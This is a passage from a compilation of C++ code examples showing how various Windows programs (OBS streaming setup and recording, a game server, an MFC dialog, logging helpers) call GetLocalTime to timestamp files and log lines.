            case 1: lpShader = TEXT("shaders/DownscaleBicubicYUV.pShader"); break;
            case 2: lpShader = TEXT("shaders/DownscaleLanczos6tapYUV.pShader"); break;
        }
    }
    else if(downscale < 3.01)
        lpShader = TEXT("shaders/DownscaleBilinear9YUV.pShader");
    else
        CrashError(TEXT("Invalid downscale value (must be either 1.0, 1.5, 2.0, 2.25, or 3.0)"));

    yuvScalePixelShader = CreatePixelShaderFromFile(lpShader);
    if (!yuvScalePixelShader)
        CrashError(TEXT("Unable to create shader from file %s"), lpShader);

    //-------------------------------------------------------------

    for(UINT i=0; i<NUM_RENDER_BUFFERS; i++)
    {
        mainRenderTextures[i] = CreateRenderTarget(baseCX, baseCY, GS_BGRA, FALSE);
        yuvRenderTextures[i]  = CreateRenderTarget(outputCX, outputCY, GS_BGRA, FALSE);
    }

    //-------------------------------------------------------------

    D3D10_TEXTURE2D_DESC td;
    zero(&td, sizeof(td));
    td.Width            = outputCX;
    td.Height           = outputCY;
    td.Format           = DXGI_FORMAT_B8G8R8A8_UNORM;
    td.MipLevels        = 1;
    td.ArraySize        = 1;
    td.SampleDesc.Count = 1;
    td.ArraySize        = 1;
    td.Usage            = D3D10_USAGE_STAGING;
    td.CPUAccessFlags   = D3D10_CPU_ACCESS_READ;

    for(UINT i=0; i<NUM_RENDER_BUFFERS; i++)
    {
        HRESULT err = GetD3D()->CreateTexture2D(&td, NULL, &copyTextures[i]);
        if(FAILED(err))
        {
            CrashError(TEXT("Unable to create copy texture"));
            //todo - better error handling
        }
    }

    //-------------------------------------------------------------

    AudioDeviceList playbackDevices;
    GetAudioDevices(playbackDevices, ADT_PLAYBACK);

    String strPlaybackDevice = AppConfig->GetString(TEXT("Audio"), TEXT("PlaybackDevice"), TEXT("Default"));
    if(strPlaybackDevice.IsEmpty() || !playbackDevices.HasID(strPlaybackDevice))
    {
        AppConfig->SetString(TEXT("Audio"), TEXT("PlaybackDevice"), TEXT("Default"));
        strPlaybackDevice = TEXT("Default");
    }

    Log(TEXT("Playback device %s"), strPlaybackDevice.Array());
    playbackDevices.FreeData();

    desktopAudio = CreateAudioSource(false, strPlaybackDevice);

    if(!desktopAudio) {
        CrashError(TEXT("Cannot initialize desktop audio sound, more info in the log file."));
    }

    AudioDeviceList audioDevices;
    GetAudioDevices(audioDevices, ADT_RECORDING);

    String strDevice = AppConfig->GetString(TEXT("Audio"), TEXT("Device"), NULL);
    if(strDevice.IsEmpty() || !audioDevices.HasID(strDevice))
    {
        AppConfig->SetString(TEXT("Audio"), TEXT("Device"), TEXT("Disable"));
        strDevice = TEXT("Disable");
    }

    audioDevices.FreeData();

    String strDefaultMic;
    bool bHasDefault = GetDefaultMicID(strDefaultMic);

    if(strDevice.CompareI(TEXT("Disable")))
        EnableWindow(GetDlgItem(hwndMain, ID_MICVOLUME), FALSE);
    else
    {
        bool bUseDefault = strDevice.CompareI(TEXT("Default")) != 0;
        if(!bUseDefault || bHasDefault)
        {
            if(bUseDefault)
                strDevice = strDefaultMic;

            micAudio = CreateAudioSource(true, strDevice);

            if(!micAudio)
                MessageBox(hwndMain, Str("MicrophoneFailure"), NULL, 0);
            else
                micAudio->SetTimeOffset(AppConfig->GetInt(TEXT("Audio"), TEXT("MicTimeOffset"), 0));

            EnableWindow(GetDlgItem(hwndMain, ID_MICVOLUME), micAudio != NULL);
        }
        else
            EnableWindow(GetDlgItem(hwndMain, ID_MICVOLUME), FALSE);
    }

    //-------------------------------------------------------------

    bool bDisableEncoding = false;

    if (bTestStream)
        bDisableEncoding = GlobalConfig->GetInt(TEXT("General"), TEXT("DisablePreviewEncoding"), false) != 0;

    //-------------------------------------------------------------

    UINT bitRate = (UINT)AppConfig->GetInt(TEXT("Audio Encoding"), TEXT("Bitrate"), 96);
    String strEncoder = AppConfig->GetString(TEXT("Audio Encoding"), TEXT("Codec"), TEXT("AAC"));

    if (bDisableEncoding)
        audioEncoder = CreateNullAudioEncoder();
    else
#ifdef USE_AAC
    if(strEncoder.CompareI(TEXT("AAC")))// && OSGetVersion() >= 7)
        audioEncoder = CreateAACEncoder(bitRate);
    else
#endif
        audioEncoder = CreateMP3Encoder(bitRate);

    //-------------------------------------------------------------

    desktopVol = AppConfig->GetFloat(TEXT("Audio"), TEXT("DesktopVolume"), 1.0f);
    micVol     = AppConfig->GetFloat(TEXT("Audio"), TEXT("MicVolume"),     1.0f);

    //-------------------------------------------------------------

    bRunning = true;

    if(sceneElement)
    {
        scene = CreateScene(sceneElement->GetString(TEXT("class")), sceneElement->GetElement(TEXT("data")));
        XElement *sources = sceneElement->GetElement(TEXT("sources"));
        if(sources)
        {
            UINT numSources = sources->NumElements();
            for(UINT i=0; i<numSources; i++)
            {
                SceneItem *item = scene->AddImageSource(sources->GetElementByID(i));
                if(item)
                {
                    if(ListView_GetItemState(GetDlgItem(hwndMain, ID_SOURCES), i, LVIS_SELECTED) > 0)
                        item->Select(true);
                }
            }
        }

        scene->BeginScene();
    }

    if(scene && scene->HasMissingSources())
        MessageBox(hwndMain, Str("Scene.MissingSources"), NULL, 0);

    //-------------------------------------------------------------

    int maxBitRate = AppConfig->GetInt   (TEXT("Video Encoding"), TEXT("MaxBitrate"), 1000);
    int bufferSize = AppConfig->GetInt   (TEXT("Video Encoding"), TEXT("BufferSize"), 1000);
    int quality    = AppConfig->GetInt   (TEXT("Video Encoding"), TEXT("Quality"),    8);
    String preset  = AppConfig->GetString(TEXT("Video Encoding"), TEXT("Preset"),     TEXT("veryfast"));
    bUsing444      = AppConfig->GetInt   (TEXT("Video Encoding"), TEXT("Use444"),     0) != 0;

    bDupeFrames = AppConfig->GetInt(TEXT("Video Encoding"), TEXT("DupeFrames"), 0) != 0;

    if(bUsing444)
        bDupeFrames = bUseCFR = false;
    else
    {
        bUseCFR = AppConfig->GetInt(TEXT("Video Encoding"), TEXT("UseCFR"), 0) != 0;
        if(bUseCFR) bDupeFrames = true;
    }

    //-------------------------------------------------------------

    bWriteToFile = networkMode == 1 || AppConfig->GetInt(TEXT("Publish"), TEXT("SaveToFile")) != 0;
    String strOutputFile = AppConfig->GetString(TEXT("Publish"), TEXT("SavePath"));

    strOutputFile.FindReplace(TEXT("\\"), TEXT("/"));

    if (bWriteToFile)
    {
        OSFindData ofd;
        HANDLE hFind = NULL;
        bool bUseDateTimeName = true;

        if(hFind = OSFindFirstFile(strOutputFile, ofd))
        {
            String strFileExtension = GetPathExtension(strOutputFile);
            String strFileWithoutExtension = GetPathWithoutExtension(strOutputFile);

            if(strFileExtension.IsValid() && !ofd.bDirectory)
            {
                String strNewFilePath;
                UINT curFile = 0;

                do 
                {
                    strNewFilePath.Clear() << strFileWithoutExtension << TEXT(" (") << FormattedString(TEXT("%02u"), ++curFile) << TEXT(").") << strFileExtension;
                } while(OSFileExists(strNewFilePath));

                strOutputFile = strNewFilePath;

                bUseDateTimeName = false;
            }

            if(ofd.bDirectory)
                strOutputFile.AppendChar('/');

            OSFindClose(hFind);
        }

        if(bUseDateTimeName)
        {
            String strFileName = GetPathFileName(strOutputFile);

            if(!strFileName.IsValid() || !IsSafeFilename(strFileName))
            {
                SYSTEMTIME st;
                GetLocalTime(&st);

                String strDirectory = GetPathDirectory(strOutputFile);
                strOutputFile = FormattedString(TEXT("%s/%u-%02u-%02u-%02u%02u-%02u.mp4"), strDirectory.Array(), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
            }
        }
    }

    //-------------------------------------------------------------

    bufferingTime = GlobalConfig->GetInt(TEXT("General"), TEXT("SceneBufferingTime"), 400);

    //-------------------------------------------------------------

    bForceMicMono = AppConfig->GetInt(TEXT("Audio"), TEXT("ForceMicMono")) != 0;
    bRecievedFirstAudioFrame = false;

    //hRequestAudioEvent = CreateSemaphore(NULL, 0, 0x7FFFFFFFL, NULL);
    hSoundDataMutex = OSCreateMutex();
    hSoundThread = OSCreateThread((XTHREAD)OBS::MainAudioThread, NULL);

    //-------------------------------------------------------------

    StartBlankSoundPlayback(strPlaybackDevice);

    //-------------------------------------------------------------

    ctsOffset = 0;
    videoEncoder = nullptr;
    if (bDisableEncoding)
        videoEncoder = CreateNullVideoEncoder();
    else if(GlobalConfig->GetInt(TEXT("Video Encoding"), TEXT("UseQSV")) != 0)
        videoEncoder = CreateQSVEncoder(fps, outputCX, outputCY, quality, preset, bUsing444, maxBitRate, bufferSize, bUseCFR, bDupeFrames);

    if(!videoEncoder)
        videoEncoder = CreateX264Encoder(fps, outputCX, outputCY, quality, preset, bUsing444, maxBitRate, bufferSize, bUseCFR, bDupeFrames);


    //-------------------------------------------------------------

    // Ensure that the render frame is properly sized
    ResizeRenderFrame(true);

    //-------------------------------------------------------------

    if(!bTestStream && bWriteToFile && strOutputFile.IsValid())
    {
        String strFileExtension = GetPathExtension(strOutputFile);
        if(strFileExtension.CompareI(TEXT("flv")))
            fileStream = CreateFLVFileStream(strOutputFile);
        else if(strFileExtension.CompareI(TEXT("mp4")))
            fileStream = CreateMP4FileStream(strOutputFile);
    }

    //-------------------------------------------------------------

    hMainThread = OSCreateThread((XTHREAD)OBS::MainCaptureThread, NULL);

    if(bTestStream)
    {
        EnableWindow(GetDlgItem(hwndMain, ID_STARTSTOP), FALSE);
        SetWindowText(GetDlgItem(hwndMain, ID_TESTSTREAM), Str("MainWindow.StopTest"));
    }
    else
    {
        EnableWindow(GetDlgItem(hwndMain, ID_TESTSTREAM), FALSE);
        SetWindowText(GetDlgItem(hwndMain, ID_STARTSTOP), Str("MainWindow.StopStream"));
    }

    EnableWindow(GetDlgItem(hwndMain, ID_SCENEEDITOR), TRUE);

    //-------------------------------------------------------------

    ReportStartStreamTrigger();
    
    SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 0, 0, 0);
    SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED | ES_AWAYMODE_REQUIRED | ES_DISPLAY_REQUIRED);

    UpdateRenderViewMessage();

    //update notification icon to reflect current status
    UpdateNotificationAreaIcon();

    OSLeaveMutex (hStartupShutdownMutex);
}
Ejemplo n.º 17
0
LPCTSTR CSector::GetLocalGameTime() const
{
	ADDTOCALLSTACK("CSector::GetLocalGameTime");
	return( GetTimeMinDesc( GetLocalTime()));
}
Ejemplo n.º 18
0
BOOL CDlgRemVag::OnInitDialog() 
{
	CDialog::OnInitDialog();

    m_List.ModifyStyle(LVS_NOCOLUMNHEADER, LVS_REPORT | LVS_SHOWSELALWAYS | WS_VISIBLE | WS_BORDER | WS_CHILD, 0);
    m_List.SetExtendedStyle(LVS_EX_CHECKBOXES | LVS_EX_GRIDLINES | LVS_EX_FULLROWSELECT | LVS_EX_FLATSB  );    

    m_EdCount.ModifyStyle(0, WS_DISABLED);
/*
    m_Check1.EnableWindow(FALSE);
    m_Check2.EnableWindow(FALSE);
    m_Check3.EnableWindow(FALSE);
    m_Check4.EnableWindow(FALSE);
    m_Check5.EnableWindow(FALSE);
*/
    m_Dat1.EnableWindow(FALSE);
    m_Dat2.EnableWindow(FALSE);
    m_Dat3.EnableWindow(FALSE);
    m_Dat4.EnableWindow(FALSE);
    m_Cb.EnableWindow(FALSE);
    m_EditNVag.EnableWindow(FALSE);

    DBW.FillComboWithTRemVag(&m_Cb);

	if( g_iMessageNumber )
	{
		m_ButAddVag.ModifyStyle(WS_VISIBLE, 0);
		m_ButDelVag.ModifyStyle(WS_VISIBLE, 0);
	}

    CButton *b1, *b2;
    b1 = (CButton *)GetDlgItem(IDC_RADIO1);
    b2 = (CButton *)GetDlgItem(IDC_RADIO2);
    b1->SetCheck(1);
    b1->EnableWindow(FALSE);
    b2->EnableWindow(FALSE);
	if( g_iStandAlone ) 
	{
		m_ButVagInRem.ModifyStyle(WS_VISIBLE, 0);
		m_ButNeispVag.ModifyStyle(WS_VISIBLE, 0);
	}

    bGotHeader = false;

    m_Menu = new CMenu;
//    m_Menu->CreatePopupMenu();
    m_Menu->LoadMenu(IDR_MENU_VAG);
//    ASSERT(m_Menu->m_hMenu);    
//    m_Menu->AppendMenu(MF_STRING, 0, "asd");
    SYSTEMTIME st;
    GetLocalTime(&st);
	if( st.wDay > 10 )
	{
		st.wDay-=10;
	} else
	{
		int tttt = 10 - st.wDay;
		st.wMonth--;
		if( st.wMonth == 0 )
		{
			st.wMonth = 12;
			st.wYear--;
		}
		st.wDay = 30 - tttt;
	}
/*
    if( st.wMonth == 1 )
    {
        st.wMonth = 12;
        st.wYear--;
    } else
        st.wMonth--;
*/
	if( st.wDay == 31 || st.wDay == 30 ) 
	{
		st.wDay = 1; 
		st.wMonth++;
		if( st.wMonth > 12 ) {st.wMonth = 1; st.wYear++;}
	}
	if( st.wDay > 28 && st.wMonth == 2 ) st.wDay = 28;
    m_Dat1.SetTime(&st);
    m_Dat2.InitDate();
    m_Check2.SetCheck(1);
    OnCheck2();

    RefreshList();


/*    DWORD nCol = 0;
    SYSTEMTIME st;
    ZeroMemory(&st, sizeof(st));
    char dt[16] = "";
    m_Dat1.GetTime(&st);
    DateToSql(st, dt);
    CString str;
    str.Format("pTov_GetAllRemVans %u, %s", g_iDep, dt);
    DBW.ExecSQL(str);
    DBW.SetListHeader(&m_List);
    DBW.UpdateListByHandle(&m_List, &nCol);
    DBW.CloseCursor();
*/
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}
Ejemplo n.º 19
0
bool CSector::r_WriteVal( LPCTSTR pszKey, CGString & sVal, CTextConsole * pSrc )
{
	ADDTOCALLSTACK("CSector::r_WriteVal");
	EXC_TRY("WriteVal");

	static const CValStr sm_ComplexityTitles[] =
	{
		{ "HIGH", INT_MIN },	// speech can be very complex if low char count
		{ "MEDIUM", 5 },
		{ "LOW", 10 },
		{ NULL, INT_MAX }
	};

	switch ( FindTableHeadSorted( pszKey, sm_szLoadKeys, COUNTOF( sm_szLoadKeys )-1 ))
	{
		case SC_CLIENTS:
			sVal.FormatVal(m_Chars_Active.HasClients());
			return true;
		case SC_COLDCHANCE:
			sVal.FormatVal( GetColdChance());
			return( true );
		case SC_COMPLEXITY:
			if ( pszKey[10] == '.' )
			{
				pszKey += 11;
				sVal = ( ! strcmpi( pszKey, sm_ComplexityTitles->FindName( GetCharComplexity()))) ? "1" : "0";
				return( true );
			}
			sVal.FormatVal( GetCharComplexity());
			return( true );
		case SC_FLAGS:
			sVal.FormatHex(m_dwFlags);
			return( true );
		case SC_LIGHT:
			sVal.FormatVal(GetLight());
			return true;
		case SC_LOCALTIME:
			sVal = GetLocalGameTime();
			return( true );
		case SC_LOCALTOD:
			sVal.FormatVal( GetLocalTime());
			return( true );
		case SC_NUMBER:
			sVal.FormatVal(m_index);
			return( true );
		case SC_ISDARK:
			sVal.FormatVal( IsDark() );
			return( true );
		case SC_ISNIGHTTIME:
			{
				int iMinutes = GetLocalTime();
				sVal = ( iMinutes < 7*60 || iMinutes > (9+12)*60 ) ? "1" : "0";
			}
			return( true );
		case SC_RAINCHANCE:
			sVal.FormatVal( GetRainChance());
			return( true );
		case SC_ITEMCOUNT:
			sVal.FormatVal(GetItemComplexity());
			return true;
		case SC_SEASON:
			sVal.FormatVal(static_cast<int>(GetSeason()));
			return true;
		case SC_WEATHER:
			sVal.FormatVal(static_cast<int>(GetWeather()));
			return true;
	}
	EXC_CATCH;

	EXC_DEBUG_START;
	EXC_ADD_KEYRET(pSrc);
	EXC_DEBUG_END;
	return false;
}
Ejemplo n.º 20
0
void ALog::LogUnsecure(LPCTSTR description, ...)
{
	if (m_pViewer == NULL)
		return ;
	INT messageDepth = MD_Invalid;
	LPCTSTR pos = description;
	DOUBLE measure = -1.0;
	//=== Retrieve the depth
	if (*pos == '@')
	{
		switch (pos[1])
		{
		case '0':	//=== GetLastError TRACE("@0 Class-Function. The error is: ", x, y, z); 
		case '1':	//=== GetLastError TRACE("@0 Class-Function. The warning is: ", x, y, z); 
		case '2':	//=== GetLastError TRACE("@0 Class-Function. The Info L1 is: ", x, y, z); 
		case '3':
		case '4':
			if (*pos == '0')
				messageDepth = MD_System;
			else
				messageDepth = pos[1] - '1' + 1;
			pos+=2;
			break;
		case '@':	//=== System Message.
			messageDepth = MD_System;
			pos+=2;
			break;
		case 'D':	//=== Debug Message.
			//Function: Exactly like warnings
			//TRACE("@D Removed on release");
			//WHY? Sometimes you want to debug a certain function and remove
			//the debug info later. You can easily search and remove them using 'TRACE(_T("@D' search
			messageDepth = MD_Debug;
			pos+=2;
			break;
		}
	}
	if (messageDepth == MD_Invalid)
		messageDepth = GetOption(LO_DefaultDepth);

	if (GetOption(LO_AlwaysCheckForLastError) && !(messageDepth == MD_System))
	{
		DWORD dwLastError = GetLastError();
		if (
			dwLastError == 2 ||	//"The system cannot find the file specified"
			dwLastError == 3 ||	//"The system cannot find the path specified"
			dwLastError == 6 || //"The handle is invalid"
			dwLastError == 18)	//"There are no more files"
		{
			SetLastError(0);
			dwLastError = 0;
		}
		if (dwLastError)
		{
			SetLastError(0);
			const int mLen = 1500;
			TCHAR message[mLen];
			message[0] = 0;
			LPTSTR lpMsgBuf;
			INT len = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
				NULL, dwLastError, MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
				(LPTSTR) &lpMsgBuf,	0, NULL );
			if (len>0)
			{
				if (len>2)
					lpMsgBuf[len - 3] = 0;
				_sntprintf(message, 1500, _T("@@ GetLastError [AUTO]: [%d] '%s'\r\n"), dwLastError, lpMsgBuf);
				LocalFree((HLOCAL)lpMsgBuf);
			}
			else
				_sntprintf(message, 1500, _T("@@ GetLastError [AUTO]: [%d] '?'\r\n"), dwLastError);
			SetLastError(0);
			Log(message);
		}
	}
	if (messageDepth > GetOption(LO_MaxAllowedDepth))
		return;//===------------------------------Filter OUT all messages

	const int mLen = 2500;
	TCHAR message[mLen];
	message[0] = 0;
	INT curLen = 0;
	if (GetOption(LO_ShowDepth))
		curLen += _sntprintf(&message[curLen], mLen - curLen, _T("[%s] "), Depth[messageDepth + 2]);
	DWORD dwLastError = GetLastError();
	if (dwLastError && GetOption(LO_AlwaysCheckForLastError))
	{
		LPTSTR lpMsgBuf;
		INT len = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
			NULL, dwLastError, MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
			(LPTSTR) &lpMsgBuf,	0, NULL );
		if (len>0)
		{
			if (len>2)
				lpMsgBuf[len - 3] = 0;
			curLen += _sntprintf(&message[curLen], mLen - curLen, _T("LastError: [%d] '%s'\r\n\t"), dwLastError, lpMsgBuf);
			LocalFree((HLOCAL)lpMsgBuf);
		}
		else
			curLen += _sntprintf(&message[curLen], mLen - curLen, _T("LastError: [%d] - No Description available\r\n\t"), dwLastError);
		SetLastError(0);
	}

	if (*pos == '@')
	{
		pos++;
		switch (*pos)
		{
		case 'E':	//=== GetLastError TRACE("@E Class-Function.: ", x, y, z); 
					//Also: TRACE("@1@E Class-Function.: ", x, y, z); 
					//If there is no error - no message will be displayed
			{
				pos++;
				LPTSTR lpMsgBuf;
				if (dwLastError == 0)
				{
					dwLastError = GetLastError();
					SetLastError(0);
				}
				if (dwLastError == 0)//No error
					return;
				INT len = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
					NULL, dwLastError, MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
					(LPTSTR) &lpMsgBuf,	0, NULL );
				if (len>0)
				{
					if (len>2)
						lpMsgBuf[len - 3] = 0;
					curLen += _sntprintf(&message[curLen], mLen - curLen, _T("LastError: '%s'\r\n\t"), lpMsgBuf);
					LocalFree((HLOCAL)lpMsgBuf);
				}
				else
					curLen += _sntprintf(&message[curLen], mLen - curLen, _T("LastError: 'Unknown' : %d\r\n\t"), dwLastError);
			}
			break;
#ifdef USE_CPUTICKER
		case 'T':	//=== Mark - Measure Time
			//TRACE("@T"); ==> silent (no message). Just marks the time
			//TRACE("@T Class-Function.", x,y,z); ==> [M:Measured Time xxx.xx ms]
			//Also TRACE("@T") for silent (no message)
			{
				if (m_pTicker == NULL)
					m_pTicker = new CCPUTicker;
				__int64 curTime = m_pTicker->Measure();
				__int64 passedTime = curTime - m_markedTime;
				m_markedTime = curTime;
				pos++;
				if (*pos == 0)
					return;//Do NOT SHOW THIS MESSAGE
				curLen += _sntprintf(&message[curLen], mLen - curLen, _T("[T: %6.5f ms]"),
					(passedTime * 1000.0) / CCPUTicker::GetCachedCPUFrequency());
				message[mLen - 1] = 0;
			}
			break;
#endif
		case 'I':
			{
				pos++;
				HANDLE hProcess = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ::GetCurrentProcessId());
				if(hProcess)
				{
					PROCESS_MEMORY_COUNTERS ProcessMemoryCounters;
					memset(&ProcessMemoryCounters, 0, sizeof(ProcessMemoryCounters));
					ProcessMemoryCounters.cb = sizeof(ProcessMemoryCounters);
					if(::GetProcessMemoryInfo(hProcess,	&ProcessMemoryCounters,	sizeof(ProcessMemoryCounters)) == TRUE)
					{
						curLen += _sntprintf(&message[curLen], 
							mLen - curLen, _T("[I:Memory: %d (%d) / %d (kb)] "), 
							ProcessMemoryCounters.WorkingSetSize/1024, 
							ProcessMemoryCounters.WorkingSetSize/1024 - m_markedMemSize,
							ProcessMemoryCounters.PeakWorkingSetSize/1024);
						m_markedMemSize = ProcessMemoryCounters.WorkingSetSize/1024;
					}
					::CloseHandle(hProcess);
				}
			}
			break;
		}
	}
	if (*pos == 32)//Trim space
		pos++;

	if (GetOption(LO_ShowTimeDate))
	{
		SYSTEMTIME t;
		GetLocalTime(&t);
		curLen += GetTimeFormat(LOCALE_SYSTEM_DEFAULT, NULL, &t, _T("'['HH':'mm':'ss'] '"), &message[curLen], mLen - curLen);
		curLen--;
	}
	if (GetOption(LO_ShowTimeFromStartup))
		curLen += _sntprintf(&message[curLen], mLen - curLen, _T("%08.3fms "), (GetTickCount() - m_StartupTicks)/1000.0);
	if (GetOption(LO_ShowThreadID))
	{
		DWORD threadID = ::GetCurrentThreadId();
		if (m_MainThreadID != threadID)
			curLen += _sntprintf(&message[curLen], mLen - curLen, _T("[THR: %4X] "), threadID);
	}
	va_list list;
	va_start(list, description);
	curLen += _vsntprintf(&message[curLen], mLen - curLen, pos, list);
	va_end(list);
	//Adding CRLF at the end if needed
	if (mLen - curLen > 3)
	{
		if (message[curLen-1] == 13 || message[curLen-1] == 10)
			curLen--;
		if (message[curLen-1] == 13 || message[curLen-1] == 10)
			curLen--;
		message[curLen] = 13;
		message[curLen + 1] = 10;
		message[curLen + 2] = 0;
	}
	else
		message[mLen - 1] = 0;


	//CThreadLock lock(&m_cs, TRUE);
	if (!m_pViewer->Show(message))
	{
		delete m_pViewer;
		m_pViewer = NULL;
	}
}
Ejemplo n.º 21
0
void WriteApplicationFile(char *mappname,char* MessageString)
{
	try
	{
		char mmCurentDir[512];
		SYSTEMTIME systime;

		
		char mdate[255]={0};
		char mmdate[255]={0};
		char mtime[255]={0};
		char mmFileName[512]={0};
		bool isFileExist;
		char mlogtype[1024]={0};
		bool isPerDeleted=false;
		
		//lstrcpy(mmCurentDir , mAPPLOG);
		//strcpy(mmCurentDir,SAAZODSetUpPath);
		lstrcat(mmCurentDir ,"ApplicationLog\\");
		//strcat(mmCurentDir , "\\Log");

		GetLocalTime(&systime);

		sprintf(mdate  , "%04d-%02d-%02d" ,systime.wYear, systime.wDay , systime.wMonth );
		sprintf(mmdate , "%04d%02d%02d" ,systime.wYear, systime.wDay , systime.wMonth);
		//GetTimeFormat(LOCALE_SYSTEM_DEFAULT , NULL , &systime , "hh':'mm':'ss" , mtime , 255);
		sprintf(mtime , "%02d:%02d:%02d" , systime.wHour, systime.wMinute , systime.wSecond);
		sprintf(mmFileName , "%s\\%s.Log" , mmCurentDir , mappname);
		FILE *fp=NULL;

		if(IsDirExist(mmFileName) == false)
		{
			isFileExist = false;
			fp=fopen( mmFileName ,"w+"); //for wiping out the contents
			_fcloseall( );
		}
		else
		{
			isFileExist = true;
		}

		DWORD dwFileSize = IsFile2MB(mmFileName);// Check for 2 MB (2097152 Bytes)

		if(dwFileSize >= 2097152)
		{
			isPerDeleted = true;
			isFileExist = false;
			fp=fopen( mmFileName ,"w+"); //For wiping out the contents
			_fcloseall( );
		}
		
		fp = fopen( mmFileName , "a");
		if(!(fp == NULL))
		{
			if (isFileExist == false)
			{
				fprintf(fp , "#Software: %s\n#Version: 1.0 \n#Date: %s %s\n# \n" , "zSmart.exe", mdate , mtime);
				fprintf(fp , "----------------------------------------------------------------------\n" );
				//fprintf(fp , "#Fields:\tdtime\tSession Id\tSession User Name\tmodule\n");
				if(isPerDeleted == true)
				{
					fprintf(fp , "Previous content is deleted. Due to the size limit of 2 MB\n" );
					fprintf(fp , "----------------------------------------------------------------------\n" );
				}
			}

				
			fprintf(fp , "%s %s\t%s \n" , mdate , mtime , MessageString);
		
		}
		else
		{ 

		}
		_fcloseall( );
	}
	catch(...)
	{
	}
}
Ejemplo n.º 22
0
void OBS::StartRecording()
{
    if(bRecording) return;
    int networkMode = AppConfig->GetInt(TEXT("Publish"), TEXT("Mode"), 2);

    bWriteToFile = networkMode == 1 || AppConfig->GetInt(TEXT("Publish"), TEXT("SaveToFile")) != 0;
    String strOutputFile = AppConfig->GetString(TEXT("Publish"), TEXT("SavePath"));

    strOutputFile.FindReplace(TEXT("\\"), TEXT("/"));

    // Don't request a keyframe while everything is starting up for the first time
    if(!bStartingUp) videoEncoder->RequestKeyframe();

    if (bWriteToFile)
    {
        OSFindData ofd;
        HANDLE hFind = NULL;
        bool bUseDateTimeName = true;
        bool bOverwrite = GlobalConfig->GetInt(L"General", L"OverwriteRecordings", false) != 0;

        if(!bOverwrite && (hFind = OSFindFirstFile(strOutputFile, ofd)))
        {
            String strFileExtension = GetPathExtension(strOutputFile);
            String strFileWithoutExtension = GetPathWithoutExtension(strOutputFile);

            if(strFileExtension.IsValid() && !ofd.bDirectory)
            {
                String strNewFilePath;
                UINT curFile = 0;

                do 
                {
                    strNewFilePath.Clear() << strFileWithoutExtension << TEXT(" (") << FormattedString(TEXT("%02u"), ++curFile) << TEXT(").") << strFileExtension;
                } while(OSFileExists(strNewFilePath));

                strOutputFile = strNewFilePath;

                bUseDateTimeName = false;
            }

            if(ofd.bDirectory)
                strOutputFile.AppendChar('/');

            OSFindClose(hFind);
        }

        if(bUseDateTimeName)
        {
            String strFileName = GetPathFileName(strOutputFile);

            if(!strFileName.IsValid() || !IsSafeFilename(strFileName))
            {
                SYSTEMTIME st;
                GetLocalTime(&st);

                String strDirectory = GetPathDirectory(strOutputFile);
                String file = strOutputFile.Right(strOutputFile.Length() - strDirectory.Length());
                String extension;

                if (!file.IsEmpty())
                    extension = GetPathExtension(file.Array());

                if(extension.IsEmpty())
                    extension = TEXT("mp4");
                strOutputFile = FormattedString(TEXT("%s/%u-%02u-%02u-%02u%02u-%02u.%s"), strDirectory.Array(), st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, extension.Array());
            }
        }
    }

    if(!bTestStream && bWriteToFile && strOutputFile.IsValid())
    {
        String strFileExtension = GetPathExtension(strOutputFile);
        if(strFileExtension.CompareI(TEXT("flv")))
            fileStream = CreateFLVFileStream(strOutputFile);
        else if(strFileExtension.CompareI(TEXT("mp4")))
            fileStream = CreateMP4FileStream(strOutputFile);

        if(!fileStream)
        {
            Log(TEXT("Warning - OBSCapture::Start: Unable to create the file stream. Check the file path in Broadcast Settings."));
            MessageBox(hwndMain, Str("Capture.Start.FileStream.Warning"), Str("Capture.Start.FileStream.WarningCaption"), MB_OK | MB_ICONWARNING);        
            bRecording = false;
        }
        else {
            EnableWindow(GetDlgItem(hwndMain, ID_TOGGLERECORDING), TRUE);
            SetWindowText(GetDlgItem(hwndMain, ID_TOGGLERECORDING), Str("MainWindow.StopRecording"));
            bRecording = true;
        }
    }
}
Ejemplo n.º 23
0
inline auto get_local_time() { SYSTEMTIME Time; GetLocalTime(&Time); return Time; }
Ejemplo n.º 24
0
void __gxx_log__::log_out( int iWay,const char* szOutFormat,... )
{
	EnterCriticalSection(&m_cs);
	LogCreate();
	if( m_hFile == INVALID_HANDLE_VALUE )
	{
		LeaveCriticalSection(&m_cs);
		return;
	}
	char *cOut = NULL;
	if (m_bShowLogType)
	{
		switch(iWay)
		{
		case __GXX_HIT:
			{
				cOut = "     ";
			}
			break;
		case __GXX_WARNING:
			{
				cOut = "警告 ";
			}
			break;
		case __GXX_ERROR:
			{
				cOut = "错误 ";
			}
			break;
		case __GXX_BAD:
			{
				cOut = "严重 ";
			}
			break;
		default:
			LeaveCriticalSection(&m_cs);
			return;
		}
	}
	else
	{
		cOut = "";
	}
	
	int strLen = (int)strlen(szOutFormat) ;
	if( strLen <= 0 )
	{
		LeaveCriticalSection(&m_cs);
		return;
	}

	va_list  args;
	va_start(args,szOutFormat);
	char _buf[BUF_SIZE];
	vsprintf(_buf,szOutFormat,args);
	va_end(args);

	//得到系统时间
	SYSTEMTIME stTime;
	GetLocalTime(&stTime);
	char outbuf[BUF_SIZE];
	if (m_bDetailLog)
	{
		sprintf(outbuf,"%s%d-%02d-%02d %02d:%02d:%02d %03d [%d] --> %s\r\n",
			cOut,
			stTime.wYear,stTime.wMonth,stTime.wDay,
			stTime.wHour,stTime.wMinute,stTime.wSecond,stTime.wMilliseconds,GetCurrentThreadId(),
			_buf);
	}
	else
	{
		sprintf(outbuf,"%s%d-%02d-%d %02d:%02d:%02d --> %s\r\n",
			cOut,
			stTime.wYear,stTime.wMonth,stTime.wDay,
